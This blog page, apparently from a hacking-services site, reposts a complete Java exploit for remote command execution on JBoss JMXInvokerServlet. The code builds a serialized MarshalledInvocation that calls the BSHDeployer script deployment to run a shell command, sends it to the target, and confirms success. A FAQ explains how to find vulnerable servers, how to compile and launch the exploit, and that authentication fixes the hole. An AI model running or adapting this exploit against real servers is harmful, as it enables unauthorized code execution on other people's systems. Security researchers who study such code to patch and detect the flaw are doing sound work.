Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86374160

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
 * JBoss JMXInvokerServlet Remote Command Execution
 * JMXInvoker.java v0.3 - Luca Carettoni @_ikki
 *
 * This code exploits a common misconfiguration in JBoss Application Server (4.x, 5.x, ...).
 * Whenever the JMX Invoker is exposed with the default configuration, a malicious "MarshalledInvocation"
 * serialized Java object allows to execute arbitrary code. This exploit works even if the "Web-Console"
 * and the "JMX Console" are protected or disabled.
 *
 * [FAQ]
 *
 * Q: Is my target vulnerable?
 * A: If http://<target>:8080/invoker/JMXInvokerServlet exists, it's likely exploitable
 *
 * Q: How to fix it?
 * A: Enable authentication in "jmx-invoker-service.xml"
 *
 * Q: Is this exploit version-dependent?
 * A: Unfortunately, yes. An hash value is used to properly invoke a method. 
 *    At least comparing version 4.x and 5.x, these hashes are different.
 *
 * Q: How to compile and launch it?
 * A: javac -cp ./libs/jboss.jar:./libs/jbossall-client.jar JMXInvoker.java
 *    java  -cp .:./libs/jboss.jar:./libs/jbossall-client.jar JMXInvoker
 *    Yes, it's a Java exploit. I can already see some of you complaining....
 */

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.ConnectException;
import java.net.HttpURLConnection;
import java.net.URL;
import javax.management.MalformedObjectNameException;
import javax.management.ObjectName;
import org.jboss.invocation.MarshalledInvocation; //within jboss.jar (look into the original JBoss installation dir)

public class JMXInvokerServlet {

    //---------> CHANGE ME <---------
    static final int hash = 647347722; //Weaponized against JBoss 4.0.3SP1
    static final String url = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";
    static final String cmd = "touch /tmp/exectest";
    //-------------------------------

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, MalformedObjectNameException {

        System.out.println("\n--[ JBoss JMXInvokerServlet Remote Command Execution ]");

        //Create a malicious Java serialized object
        MarshalledInvocation payload = new MarshalledInvocation();
        payload.setObjectName(new Integer(hash));

        //Executes the MBean invoke operation
        Class<?> c = Class.forName("javax.management.MBeanServerConnection");
        Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class);
        payload.setMethod(method);

        //Define MBean's name, operation and pars
        Object myObj[] = new Object[4];
        //MBean object name
        myObj[0] = new ObjectName("jboss.deployer:service=BSHDeployer");
        //Operation name
        myObj[1] = new String("createScriptDeployment");
        //Actual parameters
        myObj[2] = new String[]{"Runtime.getRuntime().exec(\"" + cmd + "\");", "Script Name"};
        //Operation signature
        myObj[3] = new String[]{"java.lang.String", "java.lang.String"};

        payload.setArguments(myObj);
        System.out.println("\n--[*] MarshalledInvocation object created");
        //For debugging - visualize the raw object
        //System.out.println(dump(payload));

        //Serialize the object
        try {
            //Send the payload
            URL server = new URL(url);
            HttpURLConnection conn = (HttpURLConnection) server.openConnection();
            conn.setRequestMethod("POST");
            conn.setDoOutput(true);
            conn.setDoInput(true);
            conn.setUseCaches(false);
            conn.setRequestProperty("Accept", "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2");
            conn.setRequestProperty("Connection", "keep-alive");
            conn.setRequestProperty("User-Agent", "Java/1.6.0_06");
            conn.setRequestProperty("Content-Type", "application/octet-stream");
            conn.setRequestProperty("Accept-Encoding", "x-gzip,x-deflate,gzip,deflate");
            conn.setRequestProperty("ContentType", "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation");

            ObjectOutputStream wr = new ObjectOutputStream(conn.getOutputStream());
            wr.writeObject(payload);
            System.out.println("\n--[*] MarshalledInvocation object serialized");
            System.out.println("\n--[*] Sending payload...");
            wr.flush();
            wr.close();

            //Get the response
            InputStream is = conn.getInputStream();
            BufferedReader rd = new BufferedReader(new InputStreamReader(is));
            String line;
            StringBuffer response = new StringBuffer();
            while ((line = rd.readLine()) != null) {
                response.append(line);
            }
            rd.close();

            if (response.indexOf("Script Name") != -1) {
                System.out.println("\n--[*] \"" + cmd + "\" successfully executed");
            } else {
                System.out.println("\n--[!] An invocation error occured...");
            }
        } catch (ConnectException cex) {
            System.out.println("\n--[!] A connection error occured...");
        } catch (IOException ex) {
            ex.printStackTrace();
        }
    }

    /*
     * Raw dump of generic Java Objects
     */
    static String dump(Object o) {
        StringBuffer buffer = new StringBuffer();
        Class oClass = o.getClass();

        if (oClass.isArray()) {
            buffer.append("[");

            for (int i = 0; i < Array.getLength(o); i++) {
                if (i > 0) {
                    buffer.append(",\n");
                }
                Object value = Array.get(o, i);
                buffer.append(value.getClass().isArray() ? dump(value) : value);
            }
            buffer.append("]");
        } else {
            buffer.append("{");
            while (oClass != null) {
                Field[] fields = oClass.getDeclaredFields();
                for (int i = 0; i
                        < fields.length; i++) {
                    if (buffer.length() > 1) {
                        buffer.append(",\n");
                    }
                    fields[i].setAccessible(true);
                    buffer.append(fields[i].getName());
                    buffer.append("=");
                    try {
                        Object value = fields[i].get(o);
                        if (value != null) {
                            buffer.append(value.getClass().isArray() ? dump(value) : value);
                        }
                    } catch (IllegalAccessException e) {
                    }
                }
                oClass = oClass.getSuperclass();
            }
            buffer.append("}");
        }
        return buffer.toString();
    }
}